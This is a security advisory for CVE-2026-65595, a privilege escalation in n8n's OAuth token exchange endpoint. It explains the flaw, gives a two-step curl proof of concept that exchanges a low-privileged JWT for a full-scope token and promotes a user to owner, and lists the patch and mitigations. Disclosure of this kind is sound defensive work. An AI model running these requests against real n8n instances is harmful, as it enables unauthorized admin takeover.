highCVE-2026-65595Jul 22, 2026

CVE-2026-65595: n8n Token Exchange Privilege Escalation via Full API Scope Assignment

Rohit Hatagale
AI Security Researcher, SecureLayer7

A low-privileged user with a valid external JWT can obtain a token exchange access token that carries every Public API scope, allowing them to perform admin-only actions like creating users, deleting…

Packagen8n
Ecosystemnpm
Affected>= 2.30.0, < 2.30.1
Fixed in2.30.1

The problem

n8n's Token Exchange module (POST /auth/oauth/token, RFC 8693) issued internal JWTs preloaded with all Public API key scopes, regardless of the requesting user's actual role.

A low-privileged user who could get any external JWT accepted by a configured trusted issuer could exchange it for a full-scope bearer token and call administrator-only Public API operations: role escalation, user creation, user deletion, and community package installation.

Proof of concept

A working proof-of-concept for CVE-2026-65595 in n8n, with the exact payload below.

bash
# Step 1: exchange a low-privileged external JWT for an n8n bearer token
curl -s -X POST https://n8n.example.com/auth/oauth/token \
  -H 'Content-Type: application/x-www-form-urlencoded' \
  -d 'grant_type=urn%3Aietf%3Aparams%3Aoauth%3Agrant-type%3Atoken-exchange' \
  -d 'subject_token=<VALID_EXTERNAL_JWT>' \
  -d 'subject_token_type=urn%3Aietf%3Aparams%3Aoauth%3Atoken-type%3Ajwt'
# Response contains access_token with ALL public API scopes

# Step 2: use the full-scope token to escalate a member to owner (admin-only)
curl -s -X PATCH https://n8n.example.com/api/v1/users/<TARGET_USER_ID>/role \
  -H 'Authorization: Bearer <ACCESS_TOKEN_FROM_STEP_1>' \
  -H 'Content-Type: application/json' \
  -d '{"newRoleName": "global:owner"}'

The root cause is that the token exchange service populated the issued JWT's scope claim with the full set of Public API key scopes unconditionally, never intersecting them with the scopes the user's actual role is permitted to hold (CWE-269: Improper Privilege Management).

The patch in 2.30.1 derives the scope list from the resolved user's role before signing the internal JWT, so a member-role user only receives member-level scopes. This means the exchanged token can no longer authorize admin endpoints even when the subject_token itself is fully valid.

The fix

Upgrade to n8n 2.30.1 or 2.29.8. If immediate upgrade is not possible: set N8N_TOKEN_EXCHANGE_ENABLED=false or N8N_ENV_FEAT_TOKEN_EXCHANGE=false to disable the feature entirely. If token exchange must stay on, restrict Public API access at the network level to trusted clients only, and set N8N_UNVERIFIED_PACKAGES_ENABLED=false to close the code execution path via community packages.

Reported by Jubke.

References: [1][2][3][4][5][6]

Related research